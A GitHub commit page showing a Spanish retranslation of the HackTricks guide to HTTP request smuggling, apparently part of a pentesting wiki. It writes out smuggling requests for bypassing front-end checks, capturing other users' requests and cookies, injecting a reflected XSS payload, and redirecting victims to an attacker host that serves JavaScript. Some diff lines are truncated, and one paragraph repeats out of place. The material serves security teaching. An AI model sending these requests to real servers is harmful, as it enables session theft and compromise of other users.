mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/http-request-smuggling/README.md'] to es
This commit is contained in:
Translator
parent
656a0037c2
commit
a7f9a60c72
1 changed files with 258 additions and 97 deletions
|
|
@ -5,23 +5,23 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## ¿Qué es?
|
||||
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el servidor **back-end** permite a un **atacante** enviar una **petición HTTP** que será **interpretada** como una **única petición** por los **proxies de front-end** (balance de carga / proxy inverso) y como **2 peticiones** por el servidor **back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente petición que llega al servidor back-end después de la suya**.
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** enviar una **petición HTTP** que será **interpretada** como una **única petición** por los **proxies de front-end** (balanceador de carga/reverse-proxy) y como **2 peticiones** por el **servidor de back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente petición que llega al servidor de back-end después de la suya**.
|
||||
|
||||
### Teoría
|
||||
|
||||
[**Especificación RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
|
||||
> Si se recibe un mensaje con tanto un campo de encabezado Transfer-Encoding como un campo de encabezado Content-Length, este último DEBE ser ignorado.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
|
|
@ -29,33 +29,33 @@ Esto permite a un usuario **modificar la siguiente petición que llega al servid
|
|||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> El encabezado de Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.\
|
||||
> Chunked significa que se envían datos grandes en una serie de fragmentos.
|
||||
> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.\
|
||||
> Chunked significa que los datos grandes se envían en una serie de fragmentos.
|
||||
|
||||
### Realidad
|
||||
|
||||
El **front-end** (un balanceador de carga / proxy inverso) **procesa** el encabezado de **content-length** o el de **transfer-encoding** y el servidor **back-end** procesa el otro, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una petición** al proxy inverso que será **interpretada** por el servidor **back-end como 2 peticiones diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end interpretará** la **2ª petición inyectada** como si **hubiera venido del siguiente cliente** y la **petición real** de ese cliente será **parte** de la **petición inyectada**.
|
||||
El **front-end** (un balanceador de carga / reverse proxy) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el **servidor de back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una petición** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 peticiones diferentes**. El **peligro** de esta técnica reside en el hecho de que el **servidor de back-end interpretará la segunda petición inyectada** como si **viniera del siguiente cliente** y la **petición real** de ese cliente será **parte** de la **petición inyectada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes**:
|
||||
|
||||
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la petición. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la petición**.
|
||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
* **Connection**: En base a mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera petición del ataque de desincronización de petición.
|
||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera petición del ataque de desincronización.
|
||||
|
||||
## Ejemplos básicos
|
||||
## Ejemplos Básicos
|
||||
|
||||
Entonces, los ataques de desincronización de petición implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una sola petición HTTP y manipularlos de manera que los servidores de front-end y back-end procesen la petición de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
|
||||
|
||||
* **CL.TE**: el servidor de front-end utiliza el encabezado `Content-Length` y el servidor de back-end utiliza el encabezado `Transfer-Encoding`.
|
||||
* **TE.CL**: el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`.
|
||||
* **TE.TE**: los servidores de front-end y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.
|
||||
* **TE.TE**: tanto el servidor de front-end como el de back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar de alguna manera el encabezado.
|
||||
|
||||
### Vulnerabilidades CL.TE
|
||||
|
||||
Aquí, el servidor de **front-end** utiliza el encabezado **`Content-Length`** y el servidor de **back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
|
||||
Aquí, el servidor de front-end utiliza el encabezado **`Content-Length`** y el servidor de back-end utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
|
@ -66,18 +66,50 @@ Aquí, el servidor de **front-end** utiliza el encabezado **`Content-Length`** y
|
|||
`GET /404 HTTP/1.1`\
|
||||
`Foo: x`
|
||||
|
||||
Observa cómo `Content-Length` indica que la **longitud del cuerpo de la petición es de 30 bytes** (_recuerda que HTTP utiliza una nueva línea, por lo que son 2 bytes por cada nueva línea_), por lo que el proxy inverso **enviará la petición completa** al servidor back-end, y el servidor back-end procesará el encabezado `Transfer-Encoding`, dejando `GET /404 HTTP/1.1` como el **inicio de la siguiente petición** (por cierto, la siguiente petición se agregará a `Foo:x<La siguiente petición comienza aquí>`).
|
||||
|
||||
Observa cómo `Content-Length` indica que la longitud de la petición del cuerpo es de **30 bytes** (_recuerda que HTTP utiliza una nueva línea, por lo que son 2 bytes por cada nueva línea_), por lo que el proxy inverso **enviará la petición completa** al servidor de back-end, y el servidor de back-end procesará el encabezado `Transfer-Encoding`, dejando `GET /404 HTTP/1.1` como el **comienzo de la siguiente petición** (por cierto, la siguiente petición se agregará a `Foo:x<La siguiente petición comienza aquí>`).
|
||||
### Vulnerabilidades TE.CL
|
||||
|
||||
Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
|
||||
Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de solicitud HTTP smuggling de la siguiente manera:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 4`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host
|
||||
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
|
||||
`x=`\
|
||||
`0`\
|
||||
`\`
|
||||
|
||||
En este caso, el **reverse-proxy** enviará **toda la solicitud** al **back-end** como indica el `Transfer-Encoding`. Pero, el **back-end** solo procesará los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comienza con `GET /404 HTTP/1.1`.
|
||||
|
||||
_Tenga en cuenta que aunque el ataque debe terminar con un `0`, la siguiente solicitud se agregará como valores adicionales del parámetro **x**._\
|
||||
_También tenga en cuenta que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se va a agregar al parámetro **x**. Si es demasiado pequeño, solo se agregarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud), se producirá un error para la siguiente solicitud._
|
||||
|
||||
### Vulnerabilidades TE.TE
|
||||
|
||||
Aquí, los servidores de front-end y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.\
|
||||
Existen infinitas formas de obfuscar el encabezado `Transfer-Encoding`. Por ejemplo:
|
||||
|
||||
`Transfer-Encoding: xchunked`\
|
||||
``\ `Transfer-Encoding : chunked`\``\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`Transfer-Encoding: x`\
|
||||
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
|
||||
`Transfer-Encoding:[tab]chunked`\
|
||||
``\ `[space]Transfer-Encoding: chunked`\``\
|
||||
`X: X[\n]Transfer-Encoding: chunked`\
|
||||
\`\`\
|
||||
`Transfer-Encoding`\
|
||||
`: chunked`
|
||||
|
||||
Dependiendo del servidor (reverse-proxy o de respaldo) que **deje de procesar** el encabezado **TE**, encontrará una vulnerabilidad **CL.TE** o una vulnerabilidad **TE.CL**.
|
||||
|
||||
## Encontrar HTTP Request Smuggling
|
||||
|
||||
### Encontrar vulnerabilidades CL.TE utilizando técnicas de temporización
|
||||
|
||||
Si una aplicación es vulnerable a la variante CL.TE de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
|
@ -89,19 +121,19 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
Dado que el servidor de front-end utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de back-end utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará una demora observable en el tiempo.
|
||||
Dado que el servidor de front-end utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de back-end utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso observable en el tiempo.
|
||||
|
||||
A veces, en lugar de recibir un tiempo de espera agotado, se recibe una solicitud incorrecta 400 del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:
|
||||
A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final, como en el siguiente escenario, donde se envía una carga útil CL.TE:
|
||||
|
||||
.png>)
|
||||
|
||||
Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión del haproxy utilizado:
|
||||
Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión de haproxy utilizada:
|
||||
|
||||
.png>)
|
||||
|
||||
### Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
|
||||
|
||||
Si una aplicación es vulnerable a la variante TE.CL de la manipulación de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará una demora en el tiempo:
|
||||
Si una aplicación es vulnerable a la variante TE.CL de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
|
@ -112,41 +144,39 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
Dado que el servidor de front-end utiliza el encabezado `Transfer-Encoding`, solo reenviará parte de esta solicitud, omitiendo la `X`. El servidor de back-end utiliza el encabezado `Content-Length`, espera más contenido en el cuerpo del mensaje y espera que llegue el contenido restante. Esto causará un retraso observable en el tiempo.
|
||||
### Sondeando vulnerabilidades de HTTP Request Smuggling
|
||||
|
||||
### Sondeando vulnerabilidades de solicitud HTTP Smuggling
|
||||
|
||||
Una vez que haya encontrado que las **técnicas de temporización están funcionando**, debe **sondear** que puede **alterar las solicitudes de otros clientes**.\
|
||||
La forma más fácil de hacer esto es intentar envenenar sus propias solicitudes, **hacer una solicitud para `/` y devolver un 404, por ejemplo**.\
|
||||
Una vez que hayas descubierto que las **técnicas de temporización funcionan**, necesitas **sondear** si puedes **alterar las solicitudes de otros clientes**.\
|
||||
La forma más sencilla de hacer esto es intentar envenenar tus propias solicitudes, por ejemplo, **hacer una solicitud para `/` y obtener una respuesta 404**.\
|
||||
En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar la solicitud de un cliente para solicitar `/404`, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
|
||||
|
||||
**Notas**
|
||||
|
||||
Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de solicitud de contrabando a través de la interferencia con otras solicitudes:
|
||||
Al intentar confirmar vulnerabilidades de solicitud smuggling a través de la interferencia con otras solicitudes, se deben tener en cuenta algunas consideraciones importantes:
|
||||
|
||||
* La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no demostrará que existe la vulnerabilidad.
|
||||
* La solicitud "ataque" y la solicitud "normal" deben usar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes de front-end a diferentes servidores de back-end según la URL y los parámetros. Usar la misma URL y los mismos parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor de back-end, lo que es esencial para que funcione el ataque.
|
||||
* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", está en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debe enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que deba realizar varios intentos para confirmar la vulnerabilidad.
|
||||
* En algunas aplicaciones, el servidor de front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas de back-end según algún algoritmo de equilibrio de carga. Si sus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas de back-end, entonces el ataque fallará. Esta es una razón adicional por la cual es posible que deba intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
|
||||
* Si su ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que envió para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por su ataque. Si continúa realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, y debe tener precaución.
|
||||
* La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando conexiones de red diferentes. Enviar ambas solicitudes a través de la misma conexión no demostrará que la vulnerabilidad existe.
|
||||
* La solicitud "ataque" y la solicitud "normal" deben utilizar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes front-end a diferentes servidores back-end según la URL y los parámetros. El uso de la misma URL y los mismos parámetros aumenta la probabilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
|
||||
* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", estás compitiendo con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluyendo las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que necesites realizar varios intentos para confirmar la vulnerabilidad.
|
||||
* En algunas aplicaciones, el servidor front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas back-end según algún algoritmo de equilibrio de carga. Si tus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la cual es posible que necesites intentarlo varias veces antes de confirmar una vulnerabilidad.
|
||||
* Si tu ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, por lo que debes tener precaución.
|
||||
|
||||
### Forzando a través de encabezados hop-by-hop
|
||||
|
||||
Abusando de los encabezados hop-by-hop, podría indicarle al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling**.
|
||||
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling**.
|
||||
```
|
||||
Connection: Content-Lentgh
|
||||
Connection: Content-Length
|
||||
```
|
||||
Para **más información sobre las cabeceras hop-by-hop** visita:
|
||||
Para obtener **más información sobre las cabeceras hop-by-hop**, visita:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Abusando de HTTP Request Smuggling
|
||||
## Abuso de HTTP Request Smuggling
|
||||
|
||||
### Para evadir controles de seguridad del front-end
|
||||
### Para evadir los controles de seguridad del front-end
|
||||
|
||||
A veces, los **proxies del front-end realizarán algunas verificaciones de seguridad**. Puedes evitarlas abusando de HTTP Request Smuggling, ya que podrás **evadir las protecciones**. Por ejemplo, en este ejemplo **no puedes acceder a `/admin` desde el exterior** y el proxy del front-end lo está comprobando, pero este **proxy no está comprobando la solicitud incrustada**:
|
||||
A veces, los **proxies del front-end realizan algunas verificaciones de seguridad**. Puedes evitarlos abusando de HTTP Request Smuggling, ya que podrás **burlar las protecciones**. Por ejemplo, en este caso **no puedes acceder a `/admin` desde el exterior** y el proxy del front-end lo verifica, pero este **proxy no verifica la solicitud incrustada**:
|
||||
|
||||
**CL.TE**
|
||||
|
||||
|
|
@ -182,11 +212,11 @@ A veces, los **proxies del front-end realizarán algunas verificaciones de segur
|
|||
|
||||
### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
En muchas aplicaciones, el **servidor del front-end realiza alguna reescritura de solicitudes** antes de que se reenvíen al servidor del back-end, normalmente agregando algunas cabeceras de solicitud adicionales.\
|
||||
Una cosa común que se hace es **agregar a la solicitud la cabecera** `X-Forwarded-For: <IP del cliente>` o alguna cabecera similar para que el back-end conozca la IP del cliente.\
|
||||
A veces, si puedes **encontrar qué nuevos valores se agregan** a la solicitud, podrías ser capaz de **evadir protecciones** y **acceder a información/endpoint ocultos**.
|
||||
En muchas aplicaciones, el **servidor del front-end realiza una reescritura de las solicitudes** antes de enviarlas al servidor del back-end, generalmente agregando algunas cabeceras de solicitud adicionales.\
|
||||
Una acción común es **agregar a la solicitud la cabecera** `X-Forwarded-For: <IP del cliente>` u otra cabecera similar para que el back-end conozca la IP del cliente.\
|
||||
A veces, si puedes **encontrar qué nuevos valores se agregan** a la solicitud, podrías ser capaz de **burlar las protecciones** y **acceder a información oculta**/**puntos finales**.
|
||||
|
||||
Para descubrir cómo el proxy está reescribiendo la solicitud, necesitas **encontrar un parámetro POST que el back-end reflejará en la respuesta**. Luego, usa este parámetro como el último y usa un exploit como este:
|
||||
Para descubrir cómo el proxy reescribe la solicitud, necesitas **encontrar un parámetro POST cuyo valor el back-end reflejará** en la respuesta. Luego, utiliza este parámetro como el último y utiliza una explotación como esta:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
|
@ -197,10 +227,151 @@ Para descubrir cómo el proxy está reescribiendo la solicitud, necesitas **enco
|
|||
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
||||
`search=`
|
||||
|
||||
En este caso, la siguiente solicitud se agregará después de `search=`, que también
|
||||
### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
|
||||
En este caso, la siguiente solicitud se agregará después de `search=`, que también es **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, se **reflejarán las cabeceras de la siguiente solicitud**.
|
||||
|
||||
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
|
||||
Ten en cuenta que **solo se reflejará la longitud indicada en la cabecera `Content-Length` de la solicitud incrustada**. Si utilizas un número bajo, solo se reflejarán unos pocos bytes, si utilizas un número mayor que la longitud de todas las cabeceras, entonces la solicitud incrustada generará un error. Por lo tanto, debes **comenzar** con un **número pequeño** y **aumentarlo** hasta que veas todo lo que deseas ver.\
|
||||
También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL**, pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
||||
|
||||
Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy del front-end reescribe la solicitud.
|
||||
|
||||
### Capturando solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes agregar la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Content-Length: 319`\
|
||||
`Connection: keep-alive`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`POST /post/comment HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
`Content-Length: 659`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
|
||||
\`\`\
|
||||
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
||||
|
||||
En este caso, el valor del **parámetro comment** se guardará dentro de un comentario de una publicación en la página que está **disponible públicamente**, por lo que aparecerá un **comentario con el contenido de la siguiente solicitud**.
|
||||
|
||||
_Una limitación de esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud smuggled. Para envíos de formularios codificados en URL, esto será el carácter `&`, lo que significa que el contenido que se almacene de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
|
||||
|
||||
También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL**, pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
||||
### Uso de HTTP request smuggling para explotar XSS reflejado
|
||||
|
||||
Si la página web también es **vulnerable a XSS reflejado**, puedes abusar de HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado a través de HTTP Request Smuggling tiene algunas ventajas:
|
||||
|
||||
* **No requiere interacción con los usuarios víctimas**
|
||||
* Se puede utilizar para **explotar** el comportamiento XSS en partes de la solicitud que **no se pueden controlar fácilmente en un ataque de XSS reflejado normal**, como las cabeceras de la solicitud HTTP.
|
||||
|
||||
Si una web es vulnerable a XSS reflejado en la cabecera User-Agent, puedes usar esta carga útil para explotarlo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
`User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0`\
|
||||
`Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
`Connection: keep-alive`\
|
||||
`Content-Length: 213`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
``\ `0`\``\
|
||||
`GET /post?postId=2 HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
`User-Agent: "><script>alert(1)</script>`\
|
||||
`Content-Length: 10`\
|
||||
`Content-Type: application/x-www-form-urlencoded`\
|
||||
\`\`\
|
||||
`A=`
|
||||
|
||||
### Uso de HTTP request smuggling para convertir una redirección en el sitio en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y colocan el nombre de host de la cabecera `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud para una carpeta sin una barra diagonal al final recibe una redirección a la misma carpeta incluyendo la barra diagonal:
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: normal-website.com`\
|
||||
\`\`\
|
||||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://normal-website.com/home/`
|
||||
|
||||
Este comportamiento normalmente se considera inofensivo, pero se puede explotar en un ataque de smuggling de solicitud para redirigir a otros usuarios a un dominio externo. Por ejemplo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 54`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `0`\``\
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
`Foo: X`
|
||||
|
||||
La solicitud smuggled provocará una redirección al sitio web del atacante, lo cual afectará la solicitud del próximo usuario que sea procesada por el servidor backend. Por ejemplo:
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
`Foo: XGET /scripts/include.js HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
\`\`\
|
||||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://attacker-website.com/home/`
|
||||
|
||||
Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.
|
||||
|
||||
### Uso de HTTP request smuggling para realizar envenenamiento de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
Si alguna parte de la **infraestructura front-end realiza el almacenamiento en caché de contenido** (generalmente por razones de rendimiento), es posible que se pueda envenenar esa caché modificando la respuesta del servidor.
|
||||
|
||||
